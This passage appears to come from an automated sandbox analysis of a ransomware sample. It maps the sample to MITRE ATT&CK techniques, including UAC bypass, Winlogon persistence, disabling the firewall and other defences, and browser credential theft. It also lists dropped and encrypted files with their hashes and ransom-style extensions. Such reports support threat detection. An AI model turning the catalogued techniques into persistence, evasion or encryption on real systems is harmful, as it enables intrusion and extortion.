                              C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
                              1⤵
                                PID:6768

                              Network

                              MITRE ATT&CK Enterprise v15

                              Reconnaissance

                              Resource Development

                              Initial Access

                              Execution

                              Command and Scripting Interpreter

                              1
                              T1059

                              PowerShell

                              1
                              T1059.001

                              System Services

                              2
                              T1569

                              Service Execution

                              2
                              T1569.002

                              Persistence

                              Boot or Logon Autostart Execution

                              2
                              T1547

                              Registry Run Keys / Startup Folder

                              1
                              T1547.001

                              Winlogon Helper DLL

                              1
                              T1547.004

                              Create or Modify System Process

                              3
                              T1543

                              Windows Service

                              3
                              T1543.003

                              Event Triggered Execution

                              1
                              T1546

                              Netsh Helper DLL

                              1
                              T1546.007

                              Privilege Escalation

                              Abuse Elevation Control Mechanism

                              1
                              T1548

                              Bypass User Account Control

                              1
                              T1548.002

                              Access Token Manipulation

                              1
                              T1134

                              Create Process with Token

                              1
                              T1134.002

                              Boot or Logon Autostart Execution

                              2
                              T1547

                              Registry Run Keys / Startup Folder

                              1
                              T1547.001

                              Winlogon Helper DLL

                              1
                              T1547.004

                              Create or Modify System Process

                              3
                              T1543

                              Windows Service

                              3
                              T1543.003

                              Event Triggered Execution

                              1
                              T1546

                              Netsh Helper DLL

                              1
                              T1546.007

                              Defense Evasion

                              Abuse Elevation Control Mechanism

                              1
                              T1548

                              Bypass User Account Control

                              1
                              T1548.002

                              Access Token Manipulation

                              1
                              T1134

                              Create Process with Token

                              1
                              T1134.002

                              Impair Defenses

                              3
                              T1562

                              Disable or Modify System Firewall

                              1
                              T1562.004

                              Disable or Modify Tools

                              1
                              T1562.001

                              Modify Registry

                              6
                              T1112

                              System Binary Proxy Execution

                              1
                              T1218

                              Regsvcs/Regasm

                              1
                              T1218.009

                              Credential Access

                              Credentials from Password Stores

                              2
                              T1555

                              Credentials from Web Browsers

                              1
                              T1555.003

                              Windows Credential Manager

                              1
                              T1555.004

                              Unsecured Credentials

                              1
                              T1552

                              Credentials In Files

                              1
                              T1552.001

                              Discovery

                              Browser Information Discovery

                              1
                              T1217

                              Network Service Discovery

                              1
                              T1046

                              Peripheral Device Discovery

                              2
                              T1120

                              Query Registry

                              3
                              T1012

                              Remote System Discovery

                              1
                              T1018

                              System Information Discovery

                              5
                              T1082

                              System Location Discovery

                              1
                              T1614

                              System Language Discovery

                              1
                              T1614.001

                              System Network Configuration Discovery

                              1
                              T1016

                              Internet Connection Discovery

                              1
                              T1016.001

                              Lateral Movement

                              Collection

                              Data from Local System

                              1
                              T1005

                              Command and Control

                              Exfiltration

                              Impact

                              Defacement

                              1
                              T1491

                              Service Stop

                              2
                              T1489

                              Replay Monitor

                              Loading Replay Monitor...

                              Downloads

                              • C:\ProgramData\HPwimra\uiltghnsra.exe
                                Filesize

                                10.2MB

                                MD5

                                fcaad892b13d8737abb3296a90176a61

                                SHA1

                                459a654b79743ada85be086a72b303d6724687aa

                                SHA256

                                6c48a14c8d31ed4778ea7b28f1c371e87dbba1dc63f456c1f5819e5b1badc177

                                SHA512

                                858a46b1f0182f87c62cfb67b8b75078f0cf174fec12591e8793f9979ce6994d978a11db13e8ac19e6bdd04d30d458d34c1e761a913e37115f2fc3d77e957d1a

                                Download Submit

                              • C:\ProgramData\HPwimra\uiltghnsra.zip
                                Filesize

                                125KB

                                MD5

                                40e7231a5444b9dfa7bf289b3b9e3e92

                                SHA1

                                8faf5ec3109e0231dc3dfad3b4ab58f7105a26b3

                                SHA256

                                a992853b6d4bff6ed08c96bce01ca968fc655a6a30bebd3040819b5ac174567d

                                SHA512

                                cd2763ceab98556021386abaf73b0886c71a0fb03791647a88c3581576f9365e52acfe29e1b89681e04bc0e2d773af4ce26ff767e37877915a5708b18797510f

                                Download Submit

                              • C:\ProgramData\Microsoft\Network\Downloader\edbres00001.jrs.[ID-E87CF400].[[email protected]].getin
                                Filesize

                                1.2MB

                                MD5

                                bc02ba7ec76fe394480930eca416f403

                                SHA1

                                37c985df08d7eb41cdd9ca9fbd2b02ca6dc66c5d

                                SHA256

                                bcb421ee0066e4816995da083a3e92e432142d811f3575df88a394bf68855c6e

                                SHA512

                                e10ac23ad88c49724e5384d54a2c1ec29ff5a22b048b6ed32c39dee10d76dbb1a53a639d026df87b031ee3fa12ac78164024083773298bb0c8a4f299b127a69a

                                Download Submit

                              • C:\ProgramData\Package Cache\{01B2627D-8443-41C0-97F0-9F72AC2FD6A0}v56.64.8804\windowsdesktop-runtime-7.0.16-win-x64.msi.hen_ry_217.[ID-E87CF400].[[email protected]].getin
                                Filesize

                                28.8MB

                                MD5

                                2a0f6f9a8fcddba8821709d4eb70dffe

                                SHA1

                                42913d897d565c186e6ea31d6b5bd52571625bb3

                                SHA256

                                2c266434440c146054b8bb8e8181837ecd30c958f9311f5125aa2bdb732a5d6b

                                SHA512

                                e336d1cfef2afb2d7e6da90d2e9f12f6a1c563b8b2cd60bd7027575405c46f9c1dd9bde7beff5b03e7b395f30b3893e4f26fa69535dbaf34a7b731db8424a980

                                Download Submit

                              • C:\ProgramData\Package Cache\{2BB73336-4F69-4141-9797-E9BD6FE3980A}v64.8.8795\dotnet-host-8.0.2-win-x64.msi.hen_ry_217.[ID-E87CF400].[[email protected]].getin
                                Filesize

                                728KB

                                MD5

                                ef271f44f04f697386ad56d9ad25cf64

                                SHA1

                                108d22933b818b031cab625461ea88e5722db7ff

                                SHA256

                                b0c2f8a713bf9ab028534f6377be3e39b26ca2faa1ae7073afd385c70212d79a

                                SHA512

                                d88eaf2779808cc86590da6d441a1b32e5c176f835e226e0c627d3571a717410cb0ef10f19828b810813f7db3158791dcd325183d796e69c7fbfd5466cf14173

                                Download Submit

                              • C:\ProgramData\Package Cache\{79043ED0-7ED1-4227-A5E5-04C5594D21F7}v48.108.8828\dotnet-runtime-6.0.27-win-x64.msi.hen_ry_217.[ID-E87CF400].[[email protected]].getin
                                Filesize

                                25.7MB

                                MD5

                                4eb2f1b7f5d720fe89705c52bc9c347c

                                SHA1

                                604f8a0944b6319366fac9e2abcc04dab4ce11bd

                                SHA256

                                2e4ed2ef06ae19e931fd42007fc5c20c1e1d296c32887f47b466e5aa71419897

                                SHA512

                                90f90b21bd3dedb229f4787b7b340581058609ecaa0864058d67398c1c32d158c707f6bb74ee55964ea1baa1d6ee1427c6de022bd410beb69891e2aeac03ff05

                                Download Submit

                              • C:\ProgramData\Package Cache\{7DAD0258-515C-3DD4-8964-BD714199E0F7}v12.0.40660\packages\vcRuntimeAdditional_x86\vc_runtimeAdditional_x86.msi.hen_ry_217
                                Filesize

                                140KB

                                MD5

                                d4fd161d82010ecc948c8b363d3da21a

                                SHA1

                                016161fec0a4e0344bbe461cf6c0468bdacc6779

                                SHA256

                                087fcbf01a063bd4e34448e4faed9465f2f810ab2e3c9f40d20d2e4c5f47fe70

                                SHA512

                                3127d0031ae9f1f4a9b9cfc22fed90aed906bf18b9c07e9d253a4942665edff52198ae89e076b8b7bf6addbbdf4ac0d006212c55a1fd282029804267ff0bfc25

                                Download Submit

                              • C:\ProgramData\Package Cache\{9F51D16B-42E8-4A4A-8228-75045541A2AE}v56.64.8781\dotnet-host-7.0.16-win-x64.msi.hen_ry_217
                                Filesize

                                744KB

                                MD5

                                92a3e9d87929fd31bf8a8c87f4a181d8

                                SHA1

                                00e068468a74a2ccbb845c473bfab3d557778b44

                                SHA256

                                1b7bbfafc0b15b5570e9f9034b6cb2af875bd9fb5f67e2bdc80acdb07e791ed9

                                SHA512

                                eb8a3433f5a1755e8690a60be1ea2a6a3b653ef420bacc434b06c03ba4b1b820cea3d477d8bd2b0fecfa4da3e63b3850eeab1ed8834d4821acc0b5adb1d42092

                                Download Submit

                              • C:\ProgramData\Package Cache\{BF08E976-B92E-4336-B56F-2171179476C4}v14.30.30704\packages\vcRuntimeAdditional_x86\vc_runtimeAdditional_x86.msi.hen_ry_217.[ID-E87CF400].[[email protected]].getin
                                Filesize

                                180KB

                                MD5

                                96e62a1534228390dbc3e85b00cfafdd

                                SHA1

                                019c086d54c59b36f1b8de8307b86eaa50d5e04d

                                SHA256

                                d3b864f48faf1061ccae2c4e8363753a7791467eafb135fef414da584e851cb2

                                SHA512

                                d633655c83f132132098f629826064bb1c8b317472847f12f927b9f87c646fab3fbc99da493c26da125a5ef07ab1e7df52a8e2234dc759151f67c4c00c2566e6

                                Download Submit

                              • C:\Users\Admin\AppData\Local\Comms\UnistoreDB\USStmp.jtx
                                Filesize

                                3.0MB

                                MD5

                                af4a5372a91205996264dcf956cb24e1

                                SHA1

                                61cfd118b7952a47434049047d1fee2a663cb05c

                                SHA256

                                a97bfae83dc882bf50a0402f8583521031a984f7b688cb1ce617f103e40d3a0e

                                SHA512

                                32d4e6560c1f439658522e7174a7c0c74b9a89a418cf6bb1f0c68e23f07e36c10c617c47806d0e3b87bc4f23f4680cad7cf5dbc6bd320425d204977791ea5382

                                Download Submit

                              • C:\Users\Admin\AppData\Local\D3DSCache\e8010882af4f153f\F4EB2D6C-ED2B-4BDD-AD9D-F913287E6768.idx
                                Filesize

                                64KB

                                MD5

                                d2fb266b97caff2086bf0fa74eddb6b2

                                SHA1

                                2f0061ce9c51b5b4fbab76b37fc6a540be7f805d

                                SHA256

                                b09f68b61d9ff5a7c7c8b10eee9447d4813ee0e866346e629e788cd4adecb66a

                                SHA512

                                c3ba95a538c1d266beb83334af755c34ce642a4178ab0f2e5f7822fd6821d3b68862a8b58f167a9294e6d913b08c1054a69b5d7aec2efdb3cf9796ed84de21a8

                                Download Submit

                              • C:\Users\Admin\AppData\Local\D3DSCache\e8010882af4f153f\F4EB2D6C-ED2B-4BDD-AD9D-F913287E6768.lock
                                Filesize

                                4B

                                MD5

                                f49655f856acb8884cc0ace29216f511

                                SHA1

                                cb0f1f87ec0455ec349aaa950c600475ac7b7b6b

                                SHA256

                                7852fce59c67ddf1d6b8b997eaa1adfac004a9f3a91c37295de9223674011fba

                                SHA512

                                599e93d25b174524495ed29653052b3590133096404873318f05fd68f4c9a5c9a3b30574551141fbb73d7329d6be342699a17f3ae84554bab784776dfda2d5f8

                                Download Submit

                              • C:\Users\Admin\AppData\Local\D3DSCache\e8010882af4f153f\F4EB2D6C-ED2B-4BDD-AD9D-F913287E6768.lock
                                Filesize

                                16B

                                MD5

                                8641ef90fe06db144c2c9724615077de

                                SHA1

                                12c154dc7ba20adb91e6e1df886da781c27c7d94

                                SHA256

                                4c176189475802f9c4450b0047d49994c5e449383db995ed25e30e96af8e7672

                                SHA512

                                252585fef4996421a9d80d985cf16298a4f5d338834ac10c2a89ad2ff785c68c2171d214f9c6c6ab8ac4c9ba0557dd8ffbdcf015428f0f2385303eb21ad416f3

                                Download Submit

                              • C:\Users\Admin\AppData\Local\D3DSCache\e8010882af4f153f\F4EB2D6C-ED2B-4BDD-AD9D-F913287E6768.val
                                Filesize

                                944B

                                MD5

                                6bd369f7c74a28194c991ed1404da30f

                                SHA1

                                0f8e3f8ab822c9374409fe399b6bfe5d68cbd643

                                SHA256

                                878947d0ec814fe7c343cdebc05eebf00eb14f3023bdb3809a559e17f399fe5d

                                SHA512

                                8fc5f073dc9fa1e1ae47c60a5f06e0a48709fd6a4302dffaa721858409e7bde64bc6856d3fb28891090516d1a7afc542579de287778b5755eafe75cc67d45d93

                                Download Submit

                              • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad\metadata
                                Filesize

                                16B

                                MD5

                                a09ced9300ffe7500233a1f7275a08ca

                                SHA1

                                2bf46e3d127fd97cd83fea3389aaeaee990a4a7d

                                SHA256

                                72f5d5c850d31c60d5bbbb3a4aa3bef95a82e5399e8aba19de816af70c678ef0

                                SHA512

                                b8bea5bdf1eba5afd6bd89a72663817e926e76042460341f1c310f4d513e2d47b0502b1b798e38d1d05fddcbbdbae910bb896ce8826acb2c4e436b2b21d81e77

                                Download Submit

                              • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BrowsingTopicsSiteData-journal.ChupaCabra.hen_ry_217
                                Filesize

                                32B

                                MD5

                                931e968f9303fd8129a5a580fda192b8

                                SHA1

                                a332be1031c2e53c7214b15ed1764cdee8684479

                                SHA256

                                a02ff4ca8366a98cc0b1d569d9682bcce8d5d3833a37cb49b05e537e61eed139

                                SHA512

                                a130d4adf9302aa40b37715497718010b1d8620722488c3c1b90ee905a6b9553c0e5106d0e10e5d16413a8046df6fe45daec74a7f5a46b37c84bd2d717616e81

                                Download Submit

                              • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extension State\CURRENT
                                Filesize

                                32B

                                MD5

                                83b771af305f18692aa2a4deb1005645

                                SHA1

                                dd6d390dec925142785c9450d6d8535b33cb37bd

                                SHA256

                                588be25aa2a82009641bf3515b0f479125bcca8febc4df4a0f1588a9d7bfb19c

                                SHA512

                                1c144d2764851d258c7dfc6fdaa86411eecbe8a57ad104f6f9b3878fbf81c1148aabf30948234a163b4b239fec2895e788c53a979b14e7aa2093f27e594102ff

                                Download Submit

                              • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extension State\MANIFEST-000001
                                Filesize

                                48B

                                MD5

                                1bd3d540999da514f6f6c650587f3e1c

                                SHA1

                                7ce2558f1accb6f96a0edbdc6c39193027209563

                                SHA256

                                bba755845fb000826781a0b18ed62d73429f1258c98ab558677ba6c5e97ce4eb

                                SHA512

                                355a8b3704bb4f2401ac98f1b76b3e65cfb4d93662bc48767f2670522fedea89747c09c709b3b9feabde6e8122a0d520e9aed6d86da98994b9407a765a653a92

                                Download Submit

                              • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ghbmnnjooekpmoecnnnilnnbdlolhkhi\CURRENT.ChupaCabra.hen_ry_217
                                Filesize

                                48B

                                MD5

                                cf5531f18aebf4fa5622fae7b6edd679

                                SHA1

                                43becdf5780d6fbca8c801825961a98ec505ef23

                                SHA256

                                e8e84147cf9efe31cc58ab6b3a1a64bbd218fcd673add8fcff162a0baa0035ed

                                SHA512

                                7cbb25b8f9db33202a961298c7e58ac4c0d3893b03533498875dddc9f5999bac695aad1c7430687ff4096589600e3b66f06d8f02402d3dbbc4c6c05570c43ab1

                                Download Submit

                              • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ghbmnnjooekpmoecnnnilnnbdlolhkhi\MANIFEST-000001.ChupaCabra.hen_ry_217
                                Filesize

                                64B

                                MD5

                                b979963d95929380df0bb4b4eb3efa8d

                                SHA1

                                7be9e616df7ccd24e61f7c30ae5e3b7a2f8be778

                                SHA256

                                d82fd79608924b2491268004ad4ef049eb9db075c79df640444e39760020c95d

                                SHA512

                                31dc4c08a7bcf7f0a250cb23d62f226436d19a286128a5b3a05eb29c97db04476f0d0ea8a80f30483b1956c3a186598dec661d8fcdab433203bed69529b0f4bc

                                Download Submit

                              • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index
                                Filesize

                                32B

                                MD5

                                fe3ebaaa86d67697afc5efe1d05a4869

                                SHA1

                                aa4da4ab1f09d907a222ae9513f11a661e11fbde

                                SHA256

                                078e348b51c038f99e66fb29e2452b754d71d143182b63c2f7e276a3f9120c59

                                SHA512

                                ed6dd5cf4b4a521f5d9078e4ba5e6c2970a44f9679c112693e5753eabc306a81b75cf23f1397b79677b467e3d53b5184bce611c6a74dec16bd825657f5d80fb0

                                Download Submit

                              • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache\js\index.ChupaCabra.hen_ry_217
                                Filesize

                                48B

                                MD5

                                3de424b1f5764f39fcca54021238aa23

                                SHA1

                                69777e2ae39521c4a970db089efbac4a94464a46

                                SHA256

                                539bff2f09c9c6fdea4f30e8668dbc40c790cdd16c84c01921d3357d788f9949

                                SHA512

                                e835f9d3a976b40e0cd4007d7f7292b78ad63385884a55adec71cc6d83ec657a17bdef283afe35e4c1074bbca20d3d45ccbe9ec964d35b95246583bdf6d267c6

                                Download Submit

                              • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\DawnCache\data_0
                                Filesize

                                8KB

                                MD5

                                9adcb58bbeeacc3ddc0d2e4f305ebffd

                                SHA1

                                0f83e771e7395cd68f03c0e69dd4ced4767e4e8c

                                SHA256

                                35a4d1d403664d8c785eb2fd0929d36a12e9070cc4325ce3e33761c67069fc04

                                SHA512

                                4cef6c73999d05a1385512c167beaa27bb2309b6c56b39c6813ecab75706b233060fec6194777f640814881da1971849709da7077b54bb972a4bd93429d6f58f

                                Download Submit

                              • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\DawnCache\data_1
                                Filesize

                                264KB

                                MD5

                                a806cd8c4b277b35100c8a5e753157db

                                SHA1

                                ec381b379bf5f648cde0a4b79bdb17cb89ee1402

                                SHA256

                                7e84a9940efcba045d0a128f858c2d57e5199865c84e92fb3a0d5033eeb98f7c

                                SHA512

                                20ad62fe6362fc05ccd5f3c87b5ce24707ca691c430c2e7743979eb976a380c20268d1405cfc0d479d45255b0a983cc6c46ebbe9651413ebcfc87b7791b0021b

                                Download Submit

                              • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\DawnCache\data_2
                                Filesize

                                8KB

                                MD5

                                e85e5b6133413bca71f846ce8a4a4c1b

                                SHA1

                                912fd60626f88d4065708cc9565326ba94417097

                                SHA256

                                28bf523cff9ae688498298691ff2f930fbf0504b52a2b589e40b463bed7e263e

                                SHA512

                                f7732b1b326f84d0f2d6fe87a26d3643022fdc9dab50bdde9d40dbca7e47fa9f1baa1909f60a32f02fe66819ed7fb9abbc5f4cb3c92a276be65da073416b07de

                                Download Submit

                              • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\DawnCache\data_3
                                Filesize

                                8KB

                                MD5

                                48de5e6c3951966b6f8afca05f6504be

                                SHA1

                                1da3d6bebbfbda601c51db0b4db247967b5e1889

                                SHA256

                                f2b4f1923822c2cb81de086218e0008ff4fa5fe9c65c5d23389861a909c0c845

                                SHA512

                                74d52c307bc43219e11f2a60afa91797d7899893eb36dc7a05023af777ae96fd211b13a93bc821e13d7db20bac65a5294d4238fa4a1b21b3e295966c013e34ca

                                Download Submit

                              • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\GraphiteDawnCache\data_0.ChupaCabra.hen_ry_217
                                Filesize

                                8KB

                                MD5

                                ab5256d96f36a885b2a74e103b60b464

                                SHA1

                                c2a4823147c3168a64dc6751e854f368bf5d4776

                                SHA256

                                49473bc98e5c88f95e913f52670783516a910a80eae381808c0aa4d78c21546c

                                SHA512

                                985b3b5c26c2c47305a8de98163468669bb75f7cc7b456a6f5befba049ea4423ece53de218c77b4e4ef4bf354fd50007315abaaa1b2f8da3e3cf9cc140b15408

                                Download Submit

                              • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\GraphiteDawnCache\data_1.ChupaCabra.hen_ry_217
                                Filesize

                                264KB

                                MD5

                                e79678404baecefc85a9085b44c4a50e

                                SHA1

                                7545aa9505a6b61b96aabad563eaa5e6d3ffedb0

                                SHA256

                                c5d534ff1ee34aa69a768e775a96ed32a6fc4308f5740a724ba22859a4a9f9d5

                                SHA512

                                1c545970b4cb7a62eed01f07a6f2f7d347b586c399d6064d7d17bce8fc09937f617a6f2e95062e5ab139c53bc65416ac8bd2a0f59aca0f52e215e9378b166bd4

                                Download Submit

                              • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\GraphiteDawnCache\data_2.ChupaCabra.hen_ry_217
                                Filesize

                                8KB

                                MD5

                                88e5b0f4e901000b17920d57de3b66d3

                                SHA1

                                5d1b692d0296b818a521f949809c238ad1ebbdc0

                                SHA256

                                1d663ecbd365cb275b46f7e6506dee4ac57430abb1803d094ef9b926c7ed31ab

                                SHA512

                                71798c4b0fe497e248653267e87a3fdde26602233278b44f6a94199ae16723806dcc8e55e344d1f101352c9397bbe682bd5ea2397affa8019399f644548c7da1

                                Download Submit

                              • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\GraphiteDawnCache\data_3.ChupaCabra.hen_ry_217
                                Filesize

                                8KB

                                MD5

                                49c415d64b2ea766ffa848d655f6159c

                                SHA1

                                de8d7ce5397179570432b15e423d1cf31984faa6

                                SHA256

                                28616a5790a2e74c5487bec34ab00460b1d0b3c6dfa6cd602a6b6e3a1c652efb

                                SHA512

                                908f85aa9f9490f9b495bfa8fb1b58f2baff7c9f7d1cc3fea2548da2d5b069256883f4f237a7cabdf0787632e37dce7d85632db0b779b7573b872232f01e6890

                                Download Submit

                              • C:\Users\Admin\AppData\Local\Microsoft\Office\16.0\winword.exe_Rules.xml
                                Filesize

                                331KB

                                MD5

                                b700df41438349e445a8719451371588

                                SHA1

                                8a2a0e560621769efa742dc4dfa5dd21245d1e12

                                SHA256

                                cf6dd092634302147ade84aabc3c3d96ee55e12edf13447dd27d01896f10c43b

                                SHA512

                                66eb8039e6d96fe03218b88ce300dfb7528beecb65e6ffef478becc8af4abf64b7ba4409ce20ef54bf681fd5532718615f9e335930696dcf709d8baf42b8fb87

                                Download Submit

                              • C:\Users\Admin\AppData\Local\Microsoft\Office\OTele\winword.exe.db
                                Filesize

                                24KB

                                MD5

                                fb8d9530f0c6aceb4ae89b78b04d2978

                                SHA1

                                4036236657fdbedbc851a270b4ec9edd51a08856

                                SHA256

                                feee35c0e31acd5331d10caccbb43a6f82ea77f3aca8c8c1534792840bea6a92

                                SHA512

                                12b09b542e01c3d9848a3b43bde4ef06db7aa0da2f54244153e52b2622913d312a5fc7ddd979479814ae25b0cb108127f7c3d0752b233f4527b8e9cba1ef134b

                                Download Submit

                              • C:\Users\Admin\AppData\Local\Packages\E2A4F912-2574-4A75-9BB0-0D023378592B_cw5n1h2txyewy\Settings\settings.dat
                                Filesize

                                8KB

                                MD5

                                0fbe599facfdec6b561481cf4529951f

                                SHA1

                                75d5fc302f027999e0a4722a70e0c195fc3840a5

                                SHA256

                                53d1c6d88ea090b582fb0d1fe5bdb3ca168907dc062393b447e8086655675daf

                                SHA512

                                43698259b70698e9a8158f545da3381232f7573b7a7507a364d403288f1dd85c2a8c0254ef99557abd806af2859fb2dcc23242d672e28a7f5b33b48479d88dcd

                                Download Submit

                              • C:\Users\Admin\AppData\Local\Packages\Microsoft.AccountsControl_cw5n1h2txyewy\Settings\settings.dat.ChupaCabra.hen_ry_217
                                Filesize

                                8KB

                                MD5

                                d23a28a7b947053b61350a697bb1b266

                                SHA1

                                bcba25b1d7d1d96c46a2f1e159eaba2beb3c26f6

                                SHA256

                                9395619de37a5270e20b1a9eb7d05d857a56db8e62b995b55726d30c3659a9b9

                                SHA512

                                ee2d9d8d83679029fbd59bba3632c6bec9be1dfbb99322969233af53e2fb86e9da8f5ba214b50e8eb85490f3a1e3d883b7ddc7e5762855dacfaffe3812126e0a

                                Download Submit

                              • C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\Settings\settings.dat.LOG2.hen_ry_217
                                Filesize

                                16B

                                MD5

                                b64f687c6045d2416412e13cabf03422

                                SHA1

                                478b10c3ec1db6ad309064a25e3c481e13566498

                                SHA256

                                641b254a2032b2267a2f04a1cd4c2a1306d09f65686948c4f8e899da0c76d853

                                SHA512

                                a3a4a6f4c10e9f261ff4440443e9da2a7460b218bede9156e0fa72242b916f6b24ae3be3851409a20a380790d1c624bd5d1ffc2921c6febe618ccfb7719800be

                                Download Submit

                              • C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\AppIconCache\100\Microsoft_AutoGenerated_{A5E73466-E220-8EF4-B956-A582187356D9}.ChupaCabra.hen_ry_217
                                Filesize

                                36KB

                                MD5

                                e65a0025d09c4cca000f62eeb583070c

                                SHA1

                                0f5cf0d6898a48817ded48f334b9c8733fbc84f8

                                SHA256

                                4c190c9c4c70c57bc9af7361d0e496702a438ee36abd155179f5d7be7564e31f

                                SHA512

                                13d56be6a19b6c397606893f7e37af536f2f760f827877cdb6d6454a86f3971b044ba5dab04506eae4f99327be1be950254a4f6893f286e8a782a5cabb8054ae

                                Download Submit

                              • C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\AppIconCache\100\https___java_com_help
                                Filesize

                                36KB

                                MD5

                                add2f05f8485d9d3b8670294e2b3e523

                                SHA1

                                d5b231e7377082362a3a9e4a65f74f108e269e78

                                SHA256

                                ccf5b2293dc89ac296a71817126acf77e682e4d3518e3d94d6820cfbf01168a4

                                SHA512

                                e822693749978886a573b349a36f4917e9232f451fd65d28b63ec536d36ada5388fa441600aba4922a83fe61a26aa78aabc5af08a44a8c8574b0b7bc72f69070

                                Download Submit

                              • C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\AppIconCache\100\{1AC14E77-02E7-4E5D-B744-2EB1AE5198B7}_charmap_exe
                                Filesize

                                36KB

                                MD5

                                e364fc893f90e4c0a5172d4ff5a73a4a

                                SHA1

                                c789e738962568177ad8eff04f7b43afe7d426f6

                                SHA256

                                3571a0c3d09ee57053cebd4a2e68bf229bfcf865f0077c184c44e0b6e9606b7e

                                SHA512

                                aa211beb574033026cb74a770f475b88d9c3aa7328cdbfa565c6fe22201ac9dc299f4e687725785f252f4db4c326168f5e9bdfd1bf5bd73cf82e1bf8c9ec00c6

                                Download Submit

                              • C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\AppIconCache\100\{1AC14E77-02E7-4E5D-B744-2EB1AE5198B7}_comexp_msc.ChupaCabra.hen_ry_217
                                Filesize

                                36KB

                                MD5

                                9e30e0c010d3a48ebf81b1da104b7c88

                                SHA1

                                aa8de02d2732c0edb19558e8525b79a07aea23f7

                                SHA256

                                e606ac881ce375dd192273e0ef9640f8fa21b90ad530a90b27347c2e4aa976a9

                                SHA512

                                4a2efe02125d0c711df962c88a46a38ec9c78e1f97163bbd7183bfff03702d3608c28b7e9e7e2dffffb12c3290e926abf6756bcfc04bf00fac406110d361018c

                                Download Submit

                              • C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\AppIconCache\100\{6D809377-6AF0-444B-8957-A3773F02200E}_VideoLAN_VLC_VideoLAN Website_url
                                Filesize

                                36KB

                                MD5

                                35166b8ebaef0ea2b97f873d99e91dcc

                                SHA1

                                d04c23effe54f8bc3a7cf2ffcadd4e9a1dd1889f

                                SHA256

                                b5369d93e60e0ea60e6a31aa11c125512a4f5ccfa67f1574b2d57614e20e6874

                                SHA512

                                330ecae81504d882879dad9122710284688be3f13a9ebf1bc2999ea21413d43a137d11a2736c7efab58f348611afa53264510bc8d0a2f3c3c0e023a9924006bd

                                Download Submit

                              • C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\AppIconCache\100\{6D809377-6AF0-444B-8957-A3773F02200E}_VideoLAN_VLC_vlc_exe
                                Filesize

                                36KB

                                MD5

                                f5d22403b71fdde82c26a47653991cc8

                                SHA1

                                86da9d6f016e5bfaf66203346cf2ee308a13d9be

                                SHA256

                                e0dcfdbc795e776a11e3d7561d3cfc9eb899f86542e29da944440b1cd9f0104f

                                SHA512

                                d87b8e328dd1369858d6cecb319af3fb8fb2000bc0444d5056c67f21d2d164de655b74487b28782d8576cdb5afe0e47cce0849eee6ab829973032c389a4abab7

                                Download Submit

                              • C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{e4a41fe1-9bc8-424e-9819-503ceaaeae89}\0.1.filtertrie.intermediate.txt
                                Filesize

                                16B

                                MD5

                                775b568067353848c6f14b5af7cfd83f

                                SHA1

                                443a383f816f4fcd3470d0bfc16c1b5cdeb39324

                                SHA256

                                040a0ebc0edf5a07083e91cf550b108e0456db2d4cb0bae91e058aacb0234cfb

                                SHA512

                                bf11b985b8a14617037201dbdeb7e5ddda8d830cddd2fd0b8b51dd2720f43b7728da430a3b42be52ec2f41cd9cee58e02cb0262086755b88f7b9d9c8197f4a53

                                Download Submit

                              • C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{e4a41fe1-9bc8-424e-9819-503ceaaeae89}\0.2.filtertrie.intermediate.txt
                                Filesize

                                16B

                                MD5

                                03413c3b7091b4451ae9b996afdc4bc4

                                SHA1

                                8ecadfb341965da72bd7054cab196171e4c93d7b

                                SHA256

                                d1257e10da458a097d326dbf25ad77311eab25b446b8dcbd93eaec6ead15c13e

                                SHA512

                                700aa6e693bfd375fb609be1e49b198ff902c467342bf740e4870e977867ff4d956908651230bdb7cd108dcf65fb5f54f33e4df228bbcb3a481c2d4bc1d59760

                                Download Submit

                              • C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{e4a41fe1-9bc8-424e-9819-503ceaaeae89}\Apps.index
                                Filesize

                                1.0MB

                                MD5

                                5e4b1f7f7595703d019ac8e1023bf0db

                                SHA1

                                95aebf1ae8fc60eb2aa3a11513621794edb11556

                                SHA256

                                b9c494aba656d7003a319169949467306c3143b0f395f2c4251326ac219309a2

                                SHA512

